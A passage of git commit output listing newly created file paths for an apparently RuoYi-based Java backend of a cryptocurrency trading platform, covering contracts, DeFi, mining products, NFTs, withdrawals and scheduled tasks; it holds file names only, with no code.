ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/BlockccService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/TokenService.java create mode 100644 ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/UserDetailsServiceImpl.java create mode 100644 ruoyi-generator/pom.xml create mode 100644 ruoyi-generator/ruoyi-generator.iml create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java create mode 100644 ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java create mode 100644 ruoyi-generator/src/main/resources/generator.yml create mode 100644 ruoyi-generator/src/main/resources/mapper/generator/GenTableColumnMapper.xml create mode 100644 ruoyi-generator/src/main/resources/mapper/generator/GenTableMapper.xml create mode 100644 ruoyi-generator/src/main/resources/vm/java/controller.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/java/domain.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/java/mapper.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/java/service.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/java/serviceImpl.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/java/sub-domain.java.vm create mode 100644 ruoyi-generator/src/main/resources/vm/js/api.js.vm create mode 100644 ruoyi-generator/src/main/resources/vm/sql/sql.vm create mode 100644 ruoyi-generator/src/main/resources/vm/vue/index-tree.vue.vm create mode 100644 ruoyi-generator/src/main/resources/vm/vue/index.vue.vm create mode 100644 ruoyi-generator/src/main/resources/vm/vue/v3/index-tree.vue.vm create mode 100644 ruoyi-generator/src/main/resources/vm/vue/v3/index.vue.vm create mode 100644 ruoyi-generator/src/main/resources/vm/vue/v3/readme.txt create mode 100644 ruoyi-generator/src/main/resources/vm/xml/mapper.xml.vm create mode 100644 ruoyi-quartz/pom.xml create mode 100644 ruoyi-quartz/ruoyi-quartz.iml create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/config/ScheduleConfig.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobController.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/controller/SysJobLogController.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJob.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/domain/SysJobLog.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobLogMapper.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/mapper/SysJobMapper.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobLogService.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/ISysJobService.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobLogServiceImpl.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CollectionTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractOrderTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/ContractPositionTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/CurrencyOrderTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/DefiRateTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MineFinancialTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/MingOrderTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/OwnCoinTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryAddreUsdt.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/QueryUsdtAllowed.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/SecondContractTask.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java create mode 100644 ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java create mode 100644 ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml create mode 100644 ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml create mode 100644 ruoyi-system/pom.xml create mode 100644 ruoyi-system/ruoyi-system.iml create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SendPhoneDto.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/SymbolPrice.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TActivityRecharge.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAgentActivityInfo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAddressInfo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppAsset.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppMail.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppRecharge.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUser.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppUserDetail.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppWalletRecord.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TAppuserLoginLog.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModel.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TBotKlineModelInfo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCollectionOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractCoin.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractLoss.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TContractPosition.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencyOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TCurrencySymbol.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TExchangeCoinRecord.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenter.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THelpCenterInfo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/THomeSetter.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TLoadProduct.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMarkets.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineFinancial.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineOrderDay.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMineUser.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProduct.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TMingProductUser.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftProduct.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNftSeries.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TNotice.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOptionRules.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoin.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TOwnCoinSubscribeOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondCoinConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondContractOrder.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSecondPeriodConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSpontaneousCoin.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbolManage.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TSymbols.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserBank.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/ThirdPaySetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipDirectionsSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VipLevelSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/VoiceSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhiteIpSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/WhitePaperSetting.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyAppUserDataVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AgencyDataVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/AssetTransFundsVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/DailyDataVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/OwnVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecallVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/RecoedEnumVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SecondCoinCopyVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SymbolCoinConfigVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/SysDataVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TAgentActivityInfoVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TBotKlineModelVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/TOwnCoinVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserBonusVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/UserDataVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/vo/WithdrawFreezeVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiActivityMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/DefiRateMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/KlineSymbolMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/SettingMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TActivityRechargeMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAgentActivityInfoMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAddressInfoMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppAssetMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppMailMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppRechargeMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserDetailMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppUserMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppWalletRecordMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TAppuserLoginLogMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelInfoMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TBotKlineModelMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCollectionOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractCoinMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractLossMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TContractPositionMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencyOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TCurrencySymbolMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TExchangeCoinRecordMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterInfoMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THelpCenterMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/THomeSetterMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TLoadProductMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMarketsMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineFinancialMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderDayMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMineUserMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TMingProductUserMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftProductMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNftSeriesMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TNoticeMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITActivityRechargeService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAgentActivityInfoService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAddressInfoService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppAssetService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppMailService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppRechargeService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserDetailService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppUserService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppWalletRecordService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITAppuserLoginLogService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelInfoService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITBotKlineModelService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCollectionOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractCoinService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractLossService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITContractPositionService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencyOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITCurrencySymbolService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITExchangeCoinRecordService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterInfoService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHelpCenterService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITHomeSetterService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITLoadProductService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMarketsService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineFinancialService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderDayService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMineUserService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITMingProductUserService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftProductService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNftSeriesService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITNoticeService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOptionRulesService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITOwnCoinService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondCoinConfigService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondContractOrderService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSecondPeriodConfigService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSpontaneousCoinService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolManageService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITSymbolsService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserBankService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java create mode 100644 